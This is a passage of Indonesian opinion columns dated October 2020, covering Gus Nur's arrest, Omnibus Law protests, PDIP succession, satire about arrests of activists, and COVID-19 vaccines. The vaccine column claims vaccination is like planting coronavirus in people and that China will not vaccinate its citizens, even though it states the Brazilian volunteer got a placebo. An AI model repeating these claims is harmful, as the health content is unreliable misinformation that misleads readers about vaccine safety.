Foundation.

Gus Nur Itu Paham Betul Nikmat atau Derita Dunia Hanya 2.5 Jam

by Asyari Usman Jakarta FNN - Senin (26/10). Orang-orang yang duduk dengan kekuasaan besar biasanya selalu menjaga kesehatan mereka agar selalu prima. Rumah mewah. Mobil luks. Makanan bagus-bagus. Istirahat cukup. Pemeriksaan kesehatan teratur dan terjadwal. General check-up maupun pemeriksaan rutin lainnya. Cek darah, jantung, ginjal, selalu normal. Mereka seolah ingin atau berharap hidup1,000 tahun. Kalau bisa. Mungkin saja mereka merasa bisa. Atau, berhayal bisa sampai segitu. Cuma probabilitasnya sangat kecil. Kalau tak boleh dikatakan nihil. Rentang usia yang paling mungkin dicapai adalah 100 tahun. Menurut catatan “The Centenarian” –media yang mengamati populasi di atas 100 tahun— ada sekitar 450,000 orang di muka Bumi ini yang berusia 100 tahun atau lebih. Hanya sekitar 0.006 persen saja dari sekitar 7,800,000,000 penduduk dunia. Lalu, apa kaitan antara judul tulisan ini dengan usia 100 tahun? Begini. Gus Nur (Sugi Nur Raharja) ditangkap pada 24 Oktober 2020. Persis tengah malam, pukul 00:00. Penceramah NU garis lurus ini dilaporkan oleh kalangan NU juga dengan tuduhan penghinaan dan penyebaran kebencian. Cemarah-ceramah ustadz yang memiliki kanal You Tube ini terasa keras. Terutama bagi orang-orang yang menyenangi kehidupan duniawi. Nah, di sini mulai terlihat kaitan antara usia 100-an tahun dan judul tulisan. Lebih mengerucut lagi, Gus Nur itu adalah orang yang paham betul bahwa hidup di dunia ini hanya 2.5 jam (dua setengah jam) saja. Walaupun disebut 100 tahun menurut kalender manusia. Inilah durasi hidup di dunia dalam perbandingan dengan hidup di akhirat. Satu hari di akhirat itu sama dengan 1,000 (seribu) tahun di dunia. Begitulah Allah jelaskan di dalam al-Qur’an surah Al-Hajj ayat 47. “…inna yauman ‘inda rabbika ka-alfa sanatin mimma ta’uddun.” (artinya: “…Sesungguhnya satu hari di sisi Tuhanmu sama dengan seribu tahun menurut hitunganmu.”) Dari sinilah didapat durasi hidup manusia hanya sekitar 2.5 jam di mata Allah. Itu pun kalau orang bisa sampai 100 tahun. Kembali ke Gus Nur. Bagi beliau, dan mungkin banyak orang lain yang paham, senang terus-menerus di dunia atau menderita tanpa akhir, tak sampai 2.5 jam. Kalau orang hari ini berusia 50 tahun, maka kesenangan atau penderitaan di dunia hanya tinggal 1 jam 15 menit lagi. Sangat “singkat”. Karena begitu “singkat” itu, Gus Nur tidak mau membuang-buang waktunya. Beliau gunakan detik demi detik usianya untuk persiapan menghadapi “Hari Pertanggungjawaban”. Dia mengambil sikap tegas. Tak kenal kompromi. Kebenaran harus ditegakkan, kezaliman wajib dimusnahkan. Begitu cara Gus Nur melihat kehidupan di dunia. Tentu ini untuk orang-orang yang beriman kepada Allah SWT dan Rasulullah SAW. Bisa jadi banyak orang yang tidak peduli dengan perbandingan durasi itu. Yang penting bagi mereka adalah bisa hidup nikmat tanpa pernah disentuh kesusahan. Mereka akan melakukan apa saja asalkan menyenangkan. Sampai akhirnya mereka tidak bisa lagi membedakan kebaikan dan keburukan. Tak bisa melihat kebenaran dan kebatilan. Tidak lagi mengenal konsep halal dan haram. Semua disikat. Itulah sekadar upaya saya memahami pikiran Gus Nur. Bagaimana persisnya, hanya beliau dan Allah SWT yang tahu. Penulis adalah Wartawan Senior FNN.co.id

Rezim Yang Ngotot Dan Bandel

by M. Rizal Fadillah Bandung FNN – Senin (26/10). Undang-Undang Omnibus Law dianggap "mission sacre" oleh Pemerintah. Perlawanan dalam bentuk unjuk rasa menjadi aksi berkelanjutan. Demo dan unjuk rasa tidak reda dengan hanya penangkapan penangkapan. Kegoncangan bukan saja di tingkat nasional, tetapi juga reaksi internasional. Para buruh marah, mahasiswa terbangun, pelajar terinspirasi, umat Islam siap siaga. Langkah pun sudah dimulai bersama. Ada tiga hal yang menjadi fenomena menarik dari sikap pemerintah atas penentangan atau unjuk rasa Undang-Undang Omnibus Law ini, yaitu : Pertama, ngotot sampai titik darah penghabisan. Taruhannya siap sampai kursi goyang atau rubuh. Kehebatan apa di belakang undang-undang otoriter ini ? Betapa kuat sang pengorder. Sepertinya berapapun "economic and political costs-nya” siap untuk dibayar. Kedua, bandel dan nakal alias ngeyel yang menganggap semua sebagai hal yang wajar. Nanti juga rakyat akan diam sendiri. Suruh saja ke MK kan saja. Paling dijewer-jewer sedikit, namanya juga "Pemerintahan Sinchan". Yang penting ujungnya bus akan jalan terus meski supir mabuk atau ugal-ugalan. Ketiga, planga-plongo. Pemerintah yang bingung mundur kena maju kena. Antara misi dan reaksi membuat sikap Pemerintah seperti orang yang "kesambet setan". Linglung berjalan sambil menghitung angka-angka dan tertawa. Pemerintah yang depresi, cemas, dan stress. Negara dalam ketidakpastian. Jokowi sudah sulit dipercaya untuk mampu mengendalikan negara ke arah yang dicita-citakan. Penampilannya kalem, namun selalu bikin kebijakan yang gaduh. Bias antara manajemen konflik dan mis-manajemen. Faktanya mengelola negara secara acak-acakan. Undang-Undang Omnibus Law adalah aturan tebal bermakna tipis. Nafsu besar tenaga kecil. Seperti keangkuhan di tengah kelemahan. Orientasi kerakyatan yang gagal. Buruh dilecehkan dan rakyat yang dinistakan. Bagai lempar makanan kepada hewan dari dalam mobil. Jika dasar penolakan itu hoaks karena dianggap buta undang-undang, maka Pemerintah lah yang telah menciptakan dan memproduksi hoaks dengan aturan yang membabi buta. Buruh itu tidak bodoh. Mahasiswa yang membantu buru itu bukan rekayasa, umat teriak karena ikut terinjak. Bus "menabrak sana sini" melesat terburu-buru untuk kejar setoran. Dunia ikut bersuara. ASEAN Parliamentarians for Human Rights (APHR) telah meminta agar Undangg-Undang Omnibus Law dibatalkan karena melanggar hak-hak demokratis, hak buruh, dan lingkungan hidup. Selanjutnya "Undang-Undang ini tidak didasarkan atas ilmu ekonomi, melainkan oportunisme semata" kata Charles Santiago, Ketua APHR. Gerakan aksi buruh menentang Undang-Undang Omnibus Law didukung pula oleh organisasi serikat buruh internasional seperti Internasional Trade Union Confederation (ITU), yang menurut Said Iqbal Ketua KSPI organisasi ini beranggotakan 59 konfederasi serikat pekerja dari 34 negara Asia dan Pasifik. Kebijakan semestinya diambil dengan mudah untuk memulihkan keadaan, yakni tunda atau batalkan. Tetapi yang mudah dan simpatik ini nyatanya sangat sulit. Kesannya lebih baik mengorbankan segalanya daripada menarik kembali Undang-Undang Omnibus Law. Sungguh rezim telah menutup mata dan telinga untuk melihat dan mendengar aspirasi rakyatnya. Rezim memang tidak aspiratif, ngotot dan bandel. Penulis adalah Pemerhati Politik dan Kebangsaan.

Ganjar Kerja Keras Singkirkan Puan dan Budi Gunawan

by Tony Rosyid Jakarta FNN – Senin (26/10). Persaingan yang sedang terjadi di PDIP semakin ketat. Siapa yang akan maju di Pemilihan Presiden (Pilpres) 2024 dari PDIP? Tentu saja Megawati maju jika elektabilitasnya memungkinkan. Jika berat, setidaknya ada Puan Maharani dan Budi Gunawan. Karir Puan, baik di PDIP maupun di pemerintahan cukup bagus. Di PDIP, Puan pernah menjadi wakil ketua. Di pemerintahan, Puan menjabat Menko Pemberdayaan Manusia dan Kebudayaan (PMK), sebelum dilantik menjadi ketua DPR sekarang. Pengalaman politik Puan Maharani dianggap lebih dari cukup jika didapok menjadi capres 2024 nanti. Dan sepertinya, Puan memang dipersiapkan oleh Megawati untuk menjadi capres 2024. Minimal Cawapres. Sayangnya, elektabilitas Puan stagnan. Jauh tertinggal dari Ganjar Pranowo, Gubernur Jawa Tengah dua periode. Mungkin karena Puan belum serius menggarap branding dirinya untuk nyapres. Disisi lain, posisi Ganjar Pranomo sebagai gubernur, nampaknya telah diamnaatkan secara serius, dan digarap menjadi panggung untuk menaikkan popularitas lelaki dari Purworejo ini. Menjadi drama, kata Natalius Pigai. Tim media dan medsos Ganjar bekerja efektif. Selfie di tempat karantina pasien. Sidak ke bandara, dan berpenampilan informal dengan pasang senyumnya yang khas, adalah setting pencitraan yang sukses digarap oleh tim Ganjar untuk meningkatkan popularitasnya. Ini bagian dari kerja keras yang harus dilakukan Ganjar jika ingin singkirkan Puan Maharani, dan juga Budi Gunawan. Agak mirip dengan Jokowi. Ketika popularitas Jokowi tinggi, maka terjadi gelombang dukungan dari kader PDIP untuk capreskan mantan Walikota Solo ini. Megawati terdesak, dan akhirnya tersingkir. Tahun 2014, Megawati pun digantikan Jokowi untuk menjadi capres. Apakah Puan Maharani akan tersingkir juga oleh Ganjar? Tak menutup kemungkinan perkiraan itu bakal terjadi. Jika Puan tak serius menyiapkan tim untuk branding dirinya, maka besar kemungkinan juga akan tersingkir. Seperti ibunya dulu. Apalagi lihat kerja serius Ganjar yang sangat sistematis. Apabila ini terjadi, maka trah Soekarno mungkin memang ditakdirkan sementara untuk urus partai saja. Sedangkan capres menjadi ladang untuk kader yang lain. Pebruari lalu, Indobarometer merilis elektabilitas Ganjar 11,8 persen. Rilis tersebut menempatkan Ganjar mengungguli Puan Maharani yang hanya berada di angka tak lebih dari 1 persen. Sementara survei Median, Ganjar 9,6 persen dan Puan tetap di angka 1 persen. Survei terbaru di bulan oktober, Indikator merilis elektabilitas Ganjar naik lagi jadi 18,7 persen. Tertinggi saat ini. Jika dibandingkan Puan, tentu sangat jauh. Ganjar dengan kerja keras, serius dan sistematisnya, berhasil membonsai elektabilitas Puan Maharani. Ganjar lebih pandai memanfaatkan panggungnya sebagai gubernur Jawa Tengah dibanding Puan Maharani di DPR. Juga Budi Gunawan di BIN. Elektabilitas Ganjar yang cukup tinggi dan terus naik bisa dipahami, mengingat belum ada kepala daerah atau tokoh lain yang secara serius melakukan branding dan kerja-kerja politik untuk persiapan 2024. Ganjar saat ini, dengan keseriusan dan kehebatan timnya, sedang main sendiri tanpa lawan. Pertanyaannya, kenapa Ganjar terkesan curi star? Melakukan branding dari sekarang? Bukankah pilpres 2024 masih jauh? Empat tahun lagi. Jawabannya, karena Ganjar harus menjebol dua tembok besar. Tembok pertama bernama PDIP. Untuk dapat tiket PDIP, Ganjar harus kerja keras dan memastikan elektabilitasnya jauh di atas calon yang lain. Khususnya Puan Maharani dan Budi Gunawan yang saat ini menjadi calon potensial dari PDIP. Sedangkan tembok kedua bernama e-KTP. Ganjar Pranowo harus berhasil mengalahkan isu e-KTP yang sempat dikait-kaitkan dengan nama dirinya. Dengan elektabilitas yang tinggi tersebut, isu e-KTP diharapkan akan diabaikan oleh publik. Ini alasan masuk akal, jika Ganjar untuk saat ini berusaha melawan dua tembok besar itu. Mumpung belum ada lawan. Sebagai pemain tunggal, tim Ganjar bisa terus menaikkan elektabilitasnya. Apalagi kalau mau bermain mata dengan lembaga survei, ini akan lebih mendongkrak elektabilitas. Toh masyarakat nggak bisa klasifikasi jika menyangkut hasil survei. Kecuali ada hasil survei yang lain. Sebab, dalam sejumlah survei, selain angka ilmiah, kerapkali ada angka konspirasi. Bergantung siapa yang memesan. Tetap saja, semuanya dikembalikan kepada persepsi publik. Apapun dinamika di lembaga-lembaga survei itu, kerja keras dan keseriusan tim Ganjar menyingkirkan popularitas serta elektabilitas Puan Maharani, juga Budi Gunawan, tampaknya cukup berhasil. Ini obyektif, mengingat angkanya stabil di sejumlah lembaga survei. Tanpa singkirkan Puan dan Budi Gunawan, Ganjar tak akan punya ruang untuk dicapreskan oleh PDIP. Karena itu, harus kerja keras. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Sudah Saatnya Dibentuk Kementerian Penangkapan Aktivis

by Asyari Usman Jakarta FNN - Minggu (25/10). Salah satu fokus utama Amerika Serikat (AS) setelah kemerdekaannya (4 Juli 1776) adalah pembangunan kekuatan militer. Ini dibuktikan ketika presiden pertama AS, George Washington, dilantik pada 1789. Kongres AS langsung membentuk kementerian yang khusus menangani urusan perang. Kementerian itu dinamakan United States Department of War. Sering disebut War Departemen (Departemen Perang). Kementerian ini bertugas mengawasi operasi angkatan darat, awalnya. Kemudian, Departemen Perang mengurusi angkatan laut dan angkatan udara. Kelihatannya, pembentukan Departemen Perang AS sangat dipengaruhi oleh suasana psikologis orang Amerika waktu itu. Sebelum kemerdekaan, mereka terlibat perang revolusi yang berlangsung panjang melawan Inggris sebagai kekuatan kolonial. Setelah deklarasi kemerdekaan, perang masih berlanjut. Kali ini perang saudara (civil war). Yang berlangsung cukup lama. Dari 12 April 1861 sampai 13 Mei 1865. Empat tahun. Gara-gara sejumlah negara bagian di belahan selatan AS tidak mau berada di dalam Union (United States). Ini menyebabkan pemerintah federal melancarkan perang terhadap negara-negara bagian di selatan yang hendak membentuk Confederate of States of America. Sebelum Perang Saudara itu, AS terlibat perang dengan Meksiko. Mereka sebut Mexican War (Perang Meksiko). Berlangsung antara 25 April 1846 hingga 2 Februari 1848. Hampir dua tahun. Perang, perang, perang. Perang menjadi kelaziman di Amerika. Departemen Perang di kabinet AS baru diganti menjadi Deparemen Pertahanan (Department of Defense) pada 1949. Setelah berakhir Perang Dunia Kedua. Begitulah. Terlalu banyak peperangan sampai harus dibentuk Departemen Perang. Bagaimana dengan Indonesia saat ini? Kalau tak salah rasa, penangkapan adalah kegemaran yang sangat digandrungi oleh para penguasa. Dalam hal ini, pengkapan terhadap orang-orang yang kritis melihat cara kekuasaan dijalankan. Main tangkap adalah kelaziman yang sedang terjadi. Yang berseberangan dengan penguasa dan vokal, akan dicari-cari kesalahan mereka. Para aktivis sosial-politik menjadi sasaran. Diincar. Begitu ada alasan, dan alasan itu sering mengada-ada, maka para pengkritik yang bersuara lantang langsung diserbu pada tengah malam atau menjelang subuh. Karena penangkapan aktivis kelihatannya akan menjadi fokus baru penguasa, saya mengusulkan agar dibentuk Kementerian Penangkapan Aktivis (boleh juga disingkat Kemenkapvis). Supaya penguasa bisa lebih terarah dan leluasa. Apalagi, para pengguna medsos juga diancam tangkap dengan alasan hoax. Ada ratusan ribu atau jutaan pengguna medsos yang kritis. Jadi, akan sangat banyak pekerjaan penangkapan yang harus dilakukan penguasa. Di bawah kementerian khusus dan dikomandoi oleh Menteri Penangkapan Aktivis (sebut saja Menkapvis), tentu program penangkapan bisa dilembagakan dengan landasan UU tentang Penangkapan Aktivis. Sehingga, tindakan penangkapan bisa lebih masif lagi. Dan DPR bisa membuatkan anggaran resmi untuk penangkapan para aktivis. DPR pasti setuju. Sebab, sebagian besar mereka di parlemen mendukung penangkapan aktivis. Tinggal sekarang pemerintah mengusulkan pembentukan Kemenkapvis itu. Hari-hari ini merupakan waktu yang tepat. Penulis adalah Wartawan Senior FNN .co.id.

Ronnie Rusli, “Hanya Monyet Indonesia Yang Perlu Vaksin”

by Mochamad Toha Surabaya – Sabtu (24/10). Seorang relawan uji klinis vaksin COVID-19 AstraZeneca di Brazil meninggal dunia. Seperti keterangan para pejabat pada Rabu (21/10/2020), dikutip dari The Guardian, relawan yang meninggal dilaporkan bernama Dr. Joao Pedro Feitosa. Pedro petugas medis berusia 28 tahun yang merawat pasien Covid-19. Surat kabar Brasil, O Globo melaporkan, relawan itu telah diberi plasebo, bukan vaksin COVID-19 eksperimental. Uji klinis vaksin yang dikembangkan AstraZeneca bersama Universitas Oxford itu disebut-sebut akan tetap dilanjutkan. Sebelumnya, otoritas kesehatan Brasil, Anvisa mengabarkan seorang relawan yang turut serta dalam uji coba klinis vaksin Covid-19, yang dikembangkan AstraZeneca dan Universitas Oxford meninggal dunia. Seperti diikutip dari Reuters, CNN Brazil melaporkan bahwa dokter muda itu tinggal di Rio de Janeiro. Pedro meninggal karena komplikasi Covid-19. Sayangnya Anvisa tak merinci lebih lanjut. Pasalnya lembaga terikat kerahasiaan medis. Universitas Federal Sao Paulo, yang membantu mengordinasikan uji klinis di Brazil tersebut membenarkan relawan warga Brazil. Tetapi menolak memberi informasi detil. Pihak Universitas menyerahkan kelanjutan uji coba ke dewan peninjau independen. Mengutip dari AFP, relawan yang meninggal itu bekerja merawat pasien Covid-19 di ruang gawat darurat. Media lokal menyebut, Perdro adalah dokter muda, dan baru saja merampungkan studi tahun lalu. Sebelum tertular ia sehat dan tetap bekerja. Sementara itu, AstraZeneca menolak berkomentar. Namun, Universitas Oxford mengatakan, insiden itu sudah ditinjau secara independen, dan akan melanjutkan uji klinis. Setelah penilaian secara cermat atas kasus kematian di Brazil, tulis pernyataannya, tak ada kekhawatiran tentang keamanan uji klinis dan tinjauan independen, selain pemerintah telah merekomendasikan agar uji coba tetap dilanjutkan. Brazil sebelumnya memiliki rencana untuk membeli vaksin AstraZeneca dari Inggris tersebut dan memproduksinya. Sejauh ini sudah ada 8.000 relawan yang disuntik vaksin, dari target 20.000 orang. September 2020, vaksin eksperimental AstraZeneca dan Oxford ini sempat dihentikan pengujiannya. Pasalnya seorang relawan di Inggris mengalami sakit misterius. Tetapi, dalam penelitian vaksin biasanya memang tidak hanya vaksin yang diberikan. Relawan biasanya dibagi dalam dua kelompok, satu mendapat vaksin perusahaan penguji, dan satu lagi suntikan plasebo. Presiden Brazil Jair Bolsonaro menyatakan, tak akan beli vaksin Covid-19 buatan China. Sehari setelah itu Menteri Kesehatan Brasil menyebut vaksin asal China itu akan ditambahkan pada program imunisasi. Menanggapi pendukungnya di media sosial yang mendesaknya agar tidak membeli vaksin Sinovac, Bolsonaro mengatakan, “kami tidak membeli vaksin China”. Sang presiden menyebut vaksin tersebut belum merampungkan uji coba. Namun Brazil termasuk negara yang paling parah terkena dampak virus corona. Hampir 5,3 juta kasus positif di Brazil, tertinggi ketiga di dunia setelah AS dan India. Menurut data Universitas Johns Hopkins, Brazil juga tercatat pada peringkat kedua dunia setelah AS dalam hal angka kematian, yakni hampir 155.000 kematian hingga 21 Oktober 2020. Selasa (20/10/2020), Menteri Kesehatan Brazil Eduardo Pazuello mengatakan pemerintah federal telah mencapai kesepakatan dengan pemerintah Negara Bagian Sao Paulo untuk membeli 46 juta dosis vaksin CoronaVac yang sedang diuji pusat riset Brazil, Institut Butantan. Vaksin yang akan diproduksi Butantan tersebut masih harus disetujui oleh badan regulator kesehatan agar dapat digunakan masyarakat. Gubernur Sao Paulo Joao Doria mengatakan, program vaksinasi dapat dimulai pada Januari 2021, yang menjadikan program itu sebagai salah satu vaksinasi Covid-19 pertama di dunia. Akan tetapi, pada Rabu (21/10), Presiden Bolsonaro mencuit di Twitter bahwa setiap vaksin harus disetujui oleh badan regulator kesehatan dan diuji keampuhannya oleh kementerian kesehatan sebelum tersedia untuk masyarakat. “Rakyat Brazil tidak akan menjadi kelinci percobaan siapapun,” tegas Presiden Bolsonaro. Berbeda dengan Indonesia, Vaksin Sinovac sangat ditunggu-tunggu kedatangannya untuk segera disuntikkan pada warganya. Mengutip Gelora.co, Rabu (21/10/2020), Pemerintah Indonesia tengah melakukan tahap finalisasi pembelian tiga vaksin corona dari beberapa perusahaan vaksin di China Ketiga vaksin China tersebut Sinovac, Sinopharm, dan CanSino seperti disebut Direktur Jenderal Pencegahan dan Pengendalian Penyakit Kementerian Kesehatan Achmad Yurianto telah menyelesaikan uji klinis fase tiga di sejumlah negara. Tim finalisasi pembelian vaksin tersebut terdiri dari Kementerian Kesehatan, Kementerian BUMN, Kementerian Maritim dan Investasi, Kementerian Agama, Majelis Ulama Indonesia (MUI) dan BPOM. “Bahkan, vaksin ini sudah digunakan di negara asalnya,” kata Yuri dalam jumpa pers daring yang ditayangkan Kompas TV, Senin (19/10/2020). “Tujuannya, kita mencari vaksin yang bisa digunakan secara aman untuk penduduk kita. Aman dalam dua perspektif, dari sisi manfaat terhadap pencegahan untuk menjadi sakit karena Covid dan aman dari sisi kehalalan,” jelas Yuri. Dari ketiga vaksin corona China yang melakukan uji klinis yang dilakukan di luar negara asalnya, salah satunya Sinovac dilakukan di Indonesia. Vaksin Sinovac, kata Yuri, telah menyelesaikan uji klinis fase 3, selain di China juga di Brazil. Indonesia, lanjut Yuri, baru selesai pada Desember ini. Dilaksanakan di Bandung Bio Farma dan Universitas Padjajaran. Sementara, akademisi yang juga mantan Eselon 1 Kemenko Maritim dan Eselon 1 Kemenko Ekuin Ronnie Higuchi Rusli punya pandangan lain terkait rencana pembelian vaksin tersebut. Melalui akun Twitternya, @Ronnie_Rusli, dosen Universitas Indonesia tersebut menyatakan, pengadaan vaksin merupakan bisnis besar oleh kalangan tertentu. Rusli membuka pandangan tentang sistem impor vaksin yang menurutnya hanya dilakukan oleh importir, bukan pemerintah. “Catat, vaksin itu bisnis besar para taipan yang gelontorin duitnya untuk impor. Bukan uang dari Anggaran Kemenkes untuk impor Vaksin,” tulis Ronnie dikutip Wartakotalive.com, Rabu (21/10/2020). Karena Kemenkes bukan importir obat/vaksin. Jadi para importir itulah yang pakai tangan pemerintah untuk wajib vaksinasi. Kalau mau, liat Singapore dan Brunei. Statement Ronnie pun membuat sejumlah pengikutnya tercengang. Mereka bertanya untuk memastikan bahwa uang pembelian vaksin itu bukan dari Kemenkes. “Bukan uang dari Anggaran Kemenkes untuk Impor Vaksin?” tanya seorang warganet. “Bukan, Vaksin itu dibeli. Memangnya Kemekes yang menyediakan obat-obatan Kemotherapi di RSUP/RSUD atau obat sakit jantung, segala vaksin yang ada di RS? Kemekes hanyalah regulator kesehatan. Kalau obat-obatan itu urusan POM,” jelas Ronnie. Ronnie kemudian mengutip pernyataan pendiri Tesla, Elon Musk, yang dengan tegas mengungkapkan tak akan pernah menggunakan vaksin virus corona, meski nantinya vaksin itu tersedia. “Tesla founder Elon Musk has said that “neither he nor his family will likely take future coronavirus vaccines” even when they are readily available, saying the pandemic has “diminished [his] faith in humanity,” kutipnya. “Hanya monyet di Indonesia yang perlu divaksin, yang bukan monyet gak perlu,” ungkap Ronnie. Menariknya, Pemerintah China sendiri sudah menyatakan, China tidak akan menyuntik vaksin rakyatnya. Sasaran Vaksinasi Pemerintah Indonesia memberi prioritas sesuai dengan ketersediaan vaksin, penduduk dan wilayah berisiko, tahapan pemakaian dan indeks pemakaian. Idealnya: Seluruh Penduduk; Optimal: 80% Penduduk Berisiko Tertular. Pertama, Garda terdepan: Medis dan Paramedis contact tracing, pelayanan publik termasuk TNI/Polri, aparat hukum 3.497.737 orang dengan kebutuhan vaksin 6.995.474 dosis. Kedua, Masyarakat (tokoh agama/masyarakat), perangkat daerah (kecamatan, desa, RT/RW), sebagian pelaku ekonomi) 5.624.0106 orang dengan kebutuhan vaksin 11.248.020 dosis; Ketiga, Seluruh tenaga pendidik (PAUD/TK, SD, SMP, SMA dan sederajat PT) 4.361.197 orang dengan kebutuhan vaksin 8.772.3942 dosis. Keempat, Aparatur pemerintah (Pusat, Daerah dan Legislatif) 2.305.689 orang dengan kebutuhan vaksin 4.611.378 dosis. Kelima, Peserta BPJS PBI 86.622.867 orang dengan kebutuhan vaksin 173.245.734 dosis; Sub total jumlah di atas 102.451.500 orang dengan kebutuhan vaksin 204.903.000 dosis; Jika ditambah Masyarakat dan pelaku perekonomian lainnya 57.548.500 orang dengan kebutuhan vaksin 115.097.000 dosis. Jadi, total suluruhnya 160.000.000 orang dengan kebutuhan vaksin 320.000.000 dosis. Wajar jika Ronnie tadi menyebut, pengadaan vaksin merupakan bisnis besar oleh kalangan tertentu. Yang perlu dicermati adalah kematian di Brazil itu disebabkan vaksin, patut dicurigai, vaksinasi itu tidak ubahnya menanam virus corona di tubuh warga. Itulah mengapa China tidak memvaksin rakyatnya. Penulis adalah Wartawan Senior FNN.co.id.

Jokowi, Presiden Yang Menggergaji Demokrasi

by M Rizal Fadillah Bandung FNN – Sabtu (24/10). Tentu bukan Jokowi sendiri, tetapi bersama-sama dengan elemen rezim yang lain, apakah taipan, pengendali asing, partai politik ataupun lembaga perwakilan rakyat. Yang pasti, dibawah Pemerintahan Jokowi, demokrasi terancam terpotong-potong, bahkan tercabik-cabik. Kadang dengan bahasa "bertindak tegas". Namun pada hakekatnya adalah memaksakan kehendak. Sayangnya, meskipun dengan setuju ancaman datang bertubu-tubu, namun rakyat tidak takut untuk tampil menyatakan kebenaran. Tidak takut menuntut keadilan dari pemerintahan Jokowi. Juga tidak takut menyatakan, pemerintah Jokiwi telah salah dalam tate kelola negara. Semakin diancam, bukanya takut. Malah semakin berani menyatakan perlawanan. Masyarakar umum, besama-sama dengan para buruh, mahasiswa dan pelajar bahkan berani melakukan perlawanan. Bahkan kalangan Guru Besar yang tadinya mendukung Jokowi pada Pilpres kemarin, kini berbalik menyerukan pembangkangan sipil (civil disobedience) kepada pemerintahan Jokowi. Guru Besar Universitas Gajagh Mada (UGM), Profesor Dr. Zainal Mochtar terang-terangan menyatakan pembangan sipil diperlukan atau apalah namanya (tirto.id 06/10/2020). Aktivis Hak Azasi Manusia (HAM) Haris Azhar malah menyerukan pembangkangan dengan tidak membayar pajak. Semua itu sebagai bentuk nyata ungkapan tidak takut kepada tekanan dari pemerintah. Majalah The Economist edisi 15 Oktober 2020 menyatakan, otoritarisme yang dibangun pemerintahan Jokowi, ditandai dengan pelemahan Komisi Pemberantasan Korupsi (KPK). Juga penggunaan institusi kepolisian untuk membungkam pengkritik. Kurang memperhatikan hak-hak perempuan, kelompok minoritas dan kebebasan masyarakat sipil. Kemudian pemerintah Jokowi, menurut Majalah The Economist yang bermarkas di Inggris yang terbit sejak tahun 1843 tersebut, juga mengebiri Mahkamah Konstitusi (MK). Mengurangi hak-hak buruh, mempersempit desentralisasi. Yang terakhir adalah mengancam independensi Bank Indonedia (BI). The Economist juga menyatakan "Indonesia is lurching back into authoritarianism with Joko Widodo at the helm". Gambar ilustrasinya adalah pilar penopang istana yang sedang digergaji menjadi beberapa bagian oleh seorang tukang kayu. Tentu saja tulisan The Economist ini dapat menjadikan istana kebakaran jenggot. Pilar demokrasi yang digergaji Jokowi dirasakan oleh sebagian masyarakat baik cendekiawan, buruh, purnawirawan, agamawan, mahasiswa, maupun aktivis lainnya. Banyak Perppu dan terbitnya aturan perundang-undangan yang acak-acakan seperti Undang-Undang Omnibus Law Cipta Kerja (Cilaka) adalah cermin dan bukti dari penggergajian tersebut. Tiga hasil dari penggergajian demokrasi itu. Pertama, democrazy yaitu rakyat yang menjadi gila karena kepemimpinan yang gila-gilaan. Kedua, mobokrasi yakni kekuasaan kaum gerombolan melalui tampilan premanisme hukum, politik, dan budaya. Ketiga, korporatokrasi tukang kayu yang hanya berfikir bisnis. Korparat harus diuntungkan dan rakyat menjadi obyek proposal investasi dan hutang luar negeri. Menurut media Inggris ini, Jokowi memang berubah dari tukang meubeul sederhana yang merakyat "man of the people" menjadi petahana yang terpencil dan jauh dari rakyat "surrounded by courtiers from capital's intertwined bussiness and political elites". Jokowi yang terkepung dan tersandera. Dalam sejarah perubahan politik, sebenarnya situasi ini adalah sinyal dari semakin dekatnya kejatuhan. Sulit membayangkan kemampuan Jokowi untuk dapat membalikkan "distrust" sekarang ini menjadi simpati dan kokoh berdiri di kaki sendiri. Melepas kendali jalinan bisnis dan tekanan elit politik. Menggergaji demokrasi bukan solusi. Tetapi justru jalan melawan konstitusi dalam mempercepat gerak menuju lokasi kuburan sendiri. "Jokowi sama dengan Soeharto," kata The Economist. Penulis adalah Pemerhati Politik dan Kebangsaan.

Omnibus Law Itu Strategi Jokowi untuk Menyingkirkan Oligarki Cukong

by Asyari Usman Jakarta FNN - Sabtu (24/10). Bergegas saya ke laptop. Khawatir inspirasi hilang. Inspirasi itu datang ketika sedang olahraga kecil di belakang rumah. Senam rutin itu pun tidak saya lanjutkan. Langsung menuliskan ini. Sambil olahraga tadi, pikiran saya menerawang. Mengapa Pak Jokowi mau mengambil risiko yang sangat besar dengan membuat Omnibus Law UU Cipta Lapangan Kerja (kita singkat saja menjadi OBL). Yang sekarang sangat kontroversial. Dan mulai menjadi bola api liar. Termasuklah risiko menghadapi demo besar-besaran dan terus-menerus dari kalangan buruh, mahasiswa serta elemen masyarakat lainnya. Demo-demo itu sendiri bisa pula menjadi tak terkendali. Bisa menyerempet ke posisi Jokowi sebagai presiden. "Kenapa ya Jokowi mengambil sikap keras?”, tanya saya dalam hati. “Sangat luar biasa…” Saya masih terus melakukan senam ringan. Sampai akhirnya tiba-tiba saja terlintas jawaban yang saya tunggu-tunggu. Dan itu yang membuat saya langsung ke laptop. Ini jawabannya. Bahwa dengan OBL itu, Jokowi sebetulnya sedang berusaha menyingkirkan para cukong yang selama ini dianggap sangat berkuasa di Indonesia. Yang dianggap bisa menentukan kebijakan pemerintah. Bahkan dianggap bisa menentukan siapa yang menjadi presiden dan menteri-menteri. Konon juga sampai bisa menentukan siapa yang menjadi orang nomor satu di berbagai lembaga penegak hukum, di pusat maupun di daerah. Tapi, apa kaitan antara upaya penyingkiran oligarki cukong dengan OBL? Begini. OBL itu dipercaya sebagai pesanan para cukong. Nah, di sini hebatnya Pak Jokowi. Beliau sadar betul OBL pasti akan ditentang habis-habisan oleh rakyat. Sebab, UU Cilaka itu dinilai mengandung pasal-pasal yang hanya menguntungkan para cukong dan merugikan rakyat. Ternyata memang ditentang habis-habisan. Tapi, Jokowi tidak surut. Semua saran agar OBL dibatalkan, tidak digubris. Termasuk saran dari MUI, Muhammadiyah, NU, dll. Ditolak oleh Jokowi. Terakhir, Menko Polhukam Mahfud MD, beberapa hari lalu, menegaskan OBL akan jalan terus. Pak Jokowi tampaknya sengaja membiarkan tentangan publik mencapai puncaknya. Perlawanan rakyat sengaja dibiarkan semakin besar. Jika perlawanan berkobar di mana-mana, hampir pasti para cukong akan melarikan diri dari Indonesia. Kabur semua. Setelah mereka kabur, barulah Pak Jokowi bertindak. Beliau akan menolak masuk para cukong yang melarikan diri ke luar negeri itu. Pak Jokowi akan mengatakan kepada mereka, “Ternyata kalian biarkan saya menghadapi amuk rakyat. Karena itu, kalian tidak boleh lagi pulang ke Indonesia. Kalian memang pengkhianat. Benarlah apa yang dikatakan rakyat selama ini.” Nah, begitulah strategi Pak Jokowi untuk menyingkirkan para cukong. Para cukong itu tentu tidak bisa bilang 